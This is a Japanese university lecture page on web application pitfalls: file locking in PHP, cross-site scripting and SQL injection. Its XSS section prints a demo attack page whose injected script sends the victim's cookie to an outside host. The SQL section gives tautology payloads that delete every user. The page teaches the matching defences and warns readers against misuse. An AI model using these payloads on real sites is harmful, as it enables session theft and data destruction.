Web アプリケーション作成での注意点

Web アプリケーションは基本的に form 等を使ってデータを入力 し て、それを適宜処理してから必要に応じて永続的データ(データベースあ るいはファイル)として保存するという流れで動作するわけですが、本 格運用するにはいくつか気をつけなければいけないことがあります。ここでは そのうちの重要なものについて解説します。

ファイルのロック

大規模データを扱う場合はデータベース管理システム (DBMS) を使うわけです が、(来訪カウンタなど)小規模データで DBMS を使うまでもない場合、通常 の (DBMSで管理されていない)ファイルを使ってデータ処理をする場合があり ます。その場合、注意しないといけないことがあります。

例えば、あるページでAさんが入力データの送信を開始したとします。書き込 んで更新ボタンを押すと、データファイルはオープンされ、データは処理され たのち保存され、ファイルは閉じられるわけですが、ほぼ同時、厳密にいうと Aさんがファイルをオープンしてから閉じるまでの間にBさんが書 き込もうとしたらどうなるかを考えてみます。
Bさんが書き込もうとした瞬間にはAさんの書き込みは完了していません から元のデータがBさんの書き込み処理データとして読み込まれます。 そして、Bさんがデータを書きかえて、そのファイルを閉じようとした時、 既にAさんの書き込みはファイルに保存されているわけですが、B さんはそんなことは分かりませんので、通常の処理として閉じようとして、 ファイルを上書きします。つまり、運が悪いとAさんが書きか えた内容は無くなってしまうというわけです。これは本来あってはなら ないことです。

FileLock

データが無くなりはしないまでも、2つのプロセスがてんでんばらばら (非同期…後述) にデータ処理をおこなうとすると、本来順序のあるデー タが、ばらばらの並びになって書き込まれる、という可能性もおおいにありま す。

FileLock


書き込みの場合0   書き込みの場合1   (0,1 ははじまりが0 か 10 かの 違い)
書き込みの場合の結果参照 (参照するとデータをクリア します)

自由な書き込みの場合のソースです。

<?php $fp = fopen("no-flock.txt", "a+"); // ファイルを書き足しでオープン for ($i=0;$i<10;$i++) { // $i が 0 から 9 (10 未満)まで=10回繰り返し $s = "Write " . $i . ";\n"; // $i を表示するための文字列をつくって fwrite($fp, $s); // その文字列をファイルに出力 sleep(1); // 1秒待つ } fclose($fp); // ループを抜けたらファイルを閉じる ?> Finished!
もちろん DBMS を使えば上記のようなことにはならない(整合性を管理してく れる)わけですが、高々数バイトのデータの読み書きでいちいちDBMS を使う ほどでも無い場合、という前提です。
このような状況にならないために、ファイルをロックする、という ことをするのが一般的です。つまり、Aさんが書き込みを開始したら、Aさん がファイルを閉じるまでそのデータファイルはBさんをはじめ他の人(プ ロセス)がオープンできないようにするわけです。そうすると、Bさん は、Aさんがファイルを閉じて他の人に操作を許可(解放)するまで待って、 その後Bさんの書き込みを開始すればよい、ということです。このような処理 は、上のような好きな時に処理するのではなく、タイミングをはかって処理を おこなうという意味で同期処理と呼ぶことがあります。
逆に、上にあったような任意のタイミングでの処理は非同期処理と呼 びます。

FileLock

あるいは、ロックをかけにいって失敗したら待たずに別の処理をしてから、少 し時間をおいてロックをかけにいく、というやり方もあります。その場合は 「少し時間をおいて」という処理を自分で工夫して書くことで、効率のよいス クリプトになります。

ちなみに来訪カウンタや掲示板のような単純な制御の場合にはさほど問題には ならないですが、複数の処理(プロセス)が絡み合って処理を進めていく場合、 単純なファイルロックをおこなうと、複数のプロセスがお互いにずっと待ちの モードにはいってしまって処理が止まってしまうことがあります。これを デッドロック と呼び、これも絶対に避ける必要があるのですが、ここで は詳細は略します。
以下のコードはサンプルです。ちなみに多くのプログラミング言語ではロック 機能があらかじめ提供されており、php, perl 等では flock 関数を 用いることで実現できます。以下は flock する場合の例(PHP スク リプト)です。 <?php $fp = fopen("flock.txt", "a+"); if (flock($fp, LOCK_EX | LOCK_NB )) { // 排他 (EXclusive) ロックを行う for ($i=0;$i<10;$i++) { $s = "Write " . $i . ";\n"; fwrite($fp, $s); sleep(1); } flock($fp, LOCK_UN); // ロックを解放 (UNlock) echo "File locked and released."; // ロックに成功・解放した場合の出力 } else { echo "Fail to lock a file!"; // ロックに失敗した場合の出力 } fclose($fp); // ループを抜けたらファイルを閉じる ?> flock する場合0   flock する場合1  (0,1 ははじまりが0 か 10 かの違い)
flock する場合の結果参照 (参照するとデータをクリアします)
ちなみに flock は、ネットワークドライブの場合にはうまく動かない場合があ ることも記憶にとめておいてください。その場合は、自前でロックルーチンを つくります(ディレクトリをつくって、それをロックファイルとみなして処理 する)。

クロスサイトスクリプティング (XSS)

Webページに入力データをそのまま表示している部分があると、当然タグを含 めて全ての文字が表示できるわけですが、悪い人がページ内に <script> タグを使ってスクリプトを埋め込み、それを見たユー ザとサーバ自身の両方に被害を及ぼすクロスサイトスクリプティング (厳密にはスクリプト混入…後述)という不正の手口に利用さ れてしまう可能性があります。これは、実は結構入りくんだ攻撃手法であり;

  1. ユーザが悪意あるWebサイトを閲覧したときに、
  2. 出力されるWebページに悪意あるスクリプトが埋め込まれており、
  3. まだそのスクリプトは効果を発揮せずに標的Webサイトへ転送され、
  4. 標的Webサイトのスクリプトを排除しない欠陥をついて、スクリプトが効 果を発揮する形でブラウザへ戻ってきて、
  5. スクリプトがブラウザで実行され、クッキーが漏洩し たり、ファイルが漏洩・破壊したりといった被害が発生する、
といった攻撃です。ここでポイントになるのは4番目の、外部から与えら れた「スクリプトを排除しない欠陥」すなわちクロスサイトスクリ プティング脆弱性です。ブラウザにとってはスクリプトは標的Webサイト から来たものなので、ブラウザはそのスクリプトへ標的Webサイトのクッキー のアクセスを許可してしまったり等と被害がひろがります。このようにあるサ イトに書かれているスクリプトが別のサイトへとまたがって(クロスして)実 行されることから、クロスサイトスクリプティングと呼ばれています。

クロスサイトスクリプティング脆弱性の本質的な原因は、標的Webサイト に外部から任意のスクリプトを混入できてしまう、ということで、この ため、スクリプト混入問題クロスサイトスクリプティング脆 弱性を混同している人も多いのです。しかし、クロスサイトスクリプティ ング脆弱性はスクリプト混入問題の中の問題の1つにすぎません。とはいえス クリプト混入問題はクロスサイトスクリプティング脆弱性以外にもさまざまな セキュリティ上の問題を引き起こすのでいずれにせよ対策が必要なのはかわり ません。

現実的かつ危険な例として、以前 JavaScript で習ったスクリプトで クッ キーを設定 した後、 この怪しい(つもり) のページをアクセスしてみてください。

...すいません、外部公開用にサーバの設定をかえたので、動かなくなっています。 以下は動いたテイで読みすすめてください。(2020.11.15)
動くようになりました。(2021.11.17)

ちなみに上の この怪しい(つも り)の crack.cgi の中身は以下のようなものです(本当は URL 部分はそ れぞれ一行)。

<html> <body> <a href="https://puffin.hannan-u.ac.jp/lect/libs/nets/test2.cgi?IN=<script> document.write('Your cookie is ['+escape(document.cookie)+']. How do you think?!'); </script>"> Click me (echo-back) ! </a> <p> <a href="https://puffin.hannan-u.ac.jp/lect/libs/nets/test2.cgi?IN=<script> document.location='http://ma.echan.xyz/_C_/evil.cgi?peep='+document.cookie; </script>"> Click me (peep) !!! </a> </body> </html>
ここではオウム返しの(つまり、脆弱性のある) test2.php を悪用して、 ma.echan.xyz が puffin.hannan-u.ac.jp のクッキーを盗めていることがわか るでしょう。
☆重要☆ 本来、puffin.hannan-u がうめこんだクッ キーは、そのクライアントPCと埋め込み元の puffin.hannan-u 以外は読 むことが出来ない はずなのに、 http://ma.echan.xyz/_C_/cookies.txt に保存されて いる、ということは、ma.echan.xyz = 第三者 が盗み見できている、 ということになります(わかりますか?)

但し、ブラウザの設定によっては document.cookie を返さないようにするこ とも出来るようです(その場合は盗まれないので、セキュリティレベルは高い、 ということになります)。

Webアプリケーションで、入力データをHTMLページへ埋め込む処理はつきもの です。しかし、もし入力データに悪意あるスクリプトが含まれていた場合、 WebアプリケーションはHTMLページへ悪意あるスクリプトを埋め込んでしまう ことになります。そこでサニタイジング (sanitizing) スクリ プトの無効化ということが必要になります。

サニタイジングとは

サニタイジングとは入力データから危険な文字を検出し、置換・ 除去することで、入力データを無害化する処理です。クロスサイトスク リプティング対策での入力データの無害化とは主にスクリプトを無効化 することになります。サニタイジングを施してスクリプトとして機能し なくなった入力データは、そのままHTMLページへ埋め込むことができますので、 適切なサニタイジングにより、ユーザのブラウザへスクリプトがそのまま送ら れることを阻止できるわけです。具体的に一番よくやられている対処法は php ならば以下の関数を出力時に挟んで、タグ等を無効化する(別の 字におきかえる)、ということです。以下は php での例です。

function sanitise($buf) {
    $buf = str_replace("&","&amp;",$buf);
    $buf = str_replace('"','&quot;',$buf);
    $buf = str_replace("'","&#39;",$buf);
    $buf = str_replace("<","&lt;",$buf);
    $buf = str_replace(">","&gt;",$buf);
    return $buf;
}
正規表現 についての詳細は略して、結論からいえばHTMLタグ 属性値部 分に入力データを埋め込む場合 上の5つの文字を置き換え て サニタイジングするということです。

ちなみに「&...;」は、ブラウザ上では「&><」(ここではいわゆる全 角記号を使ってます)等の、タグ等の構成要素としての記号として表示されま すが、元の HTML テキストでは特殊記号ではない方法で(エスケープ して)記述するための記法です。

上では 5つの文字を置換していますが、実際には元のスクリプトのほうで入力 データをダブルクオートでくくった場合シングルクオートの置換は不要で、ま たシングルクオートでくくった場合ダブルクオートの置換は不要だったりしま す。とはいうものの余分に置換しても問題はないので、ダブルクオートとシン グルクオートの両方を置換することにしておいたほうが無難かもしれません。

ちなみにサニタイジングは、Web アプリケーションが HTMLを生成する時の タイミング で行ったほうが無難です。どうしてかというと、詳細は略し ますが、データを埋め込むHTML中の文脈に合わせて適切な、場合によってはタ グの無効化以外のサニタイジング手法を選択する必要があるからです。また、 同じデータに誤って2回以上サニタイジングしてデータの意味が変わってし まう というミスも防げる、等の利点もあります。

その他、タグ属性はクオートすべき、とか、イベントハンドラも無効化すべき、 等と細かいことはいろいろあるのですが、ここでは詳細は略します。とりあえ ず、まずはタグを無効化しないといけない、ということを最低限覚えておいて ください。

SQL インジェクション

SQL インジェクション (Injection) も XSS と同様、入力文字 列制限を行わない場合に不具合がおこる例です。Web アプリケーション でデータベース操作をさせる場合にはフォーム経由でSQL を発行することで処 理をする場合が多いわけですが、この時に入力文字制限をしないと大変なこと になる、ということです。例えば
$sql = "DELETE FROM USERS WHERE NAME = '$id'";
上記のようにSQLを組み立てる式があった場合、SQLインジェクションとして、
$id = "' OR 'a'='a";    # 実際には入力欄に「' OR 'a'='a」を入力
とすると、組み立てられたSQLは以下のようになって、
DELETE FROM USERS WHERE NAME = '' OR 'a'='a'
この文での条件(WHERE節)は 「NAME = '' OR 'a'='a'」ですが、これはつまり 「『 NAME が空』または 『'a' と'a'は等しい』 」 となり、後者は 常に正しいので、常にこの条件はなりたつこととなり、結果として 全て のユーザを削除 することになります。以下のスクリプトで 体験できます。

初期化

削除(脆弱性あり)

このような操作を防ぐためには、まずなにはなくとも 「'」のエスケー プ(記号の置き換え/無効化) が必要になります。

次に、数字チェックが必要な場合の例ですが、IDとして数値型を使用している 場合のSQLは、

$sql = "DELETE FROM USERS WHERE ID = $id";
などと「'」が入らないわけですが、
$id = '0 or TRUE';    # 実際には入力欄に「0 or TRUE」を入力
とすれば、組み立てられたSQLは、
DELETE FROM USERS WHERE ID = 0 or TRUE
となり、上と同様にすべてのユーザを削除できることになります。今回は削除 の条件設定でしたが、これが select (検索・表示)で使えれば、そのデータベー ス内の全データが閲覧できる(情報を抜き取れる)わけです。

今回の場合は数値型を想定した変数に文字列を入力するわけですから、perlと かphpなど、 型の無い(とまでは言わなくても、ゆるい) 言語でな いと発生しにくいと思いますが、現実にこういうことはありがちだと思います。 このように、数値項目に対するSQLインジェクション対策としては、 数字 判定 が必要になります。本来、セキュリティ以前の問題として、数字判 定はもちろん加えて、 桁数や最小・最大のチェック もやっておくべきでしょう。

おわりに

以上、簡単に Web アプリケーション作成の時に気を付けないといけないこと を説明しました。この他にもまだ沢山あると思います。常に最先端の情報に敏 感になってほしいと思います。

ちなみに、ここに書かれた内容を悪用して「不正アクセス行為の禁止等に関す る法律」にふれる行為を行なった場合は処罰の対象になるので、実験するとし ても、必ず自分の管理するコンピュータでのみ行なってください。 何 か不都合がおこっても責任はとりかねますので悪しからず。


目次に戻る

講義用スタイル
印刷用スタイル (開いてから、ページを再度更新してください)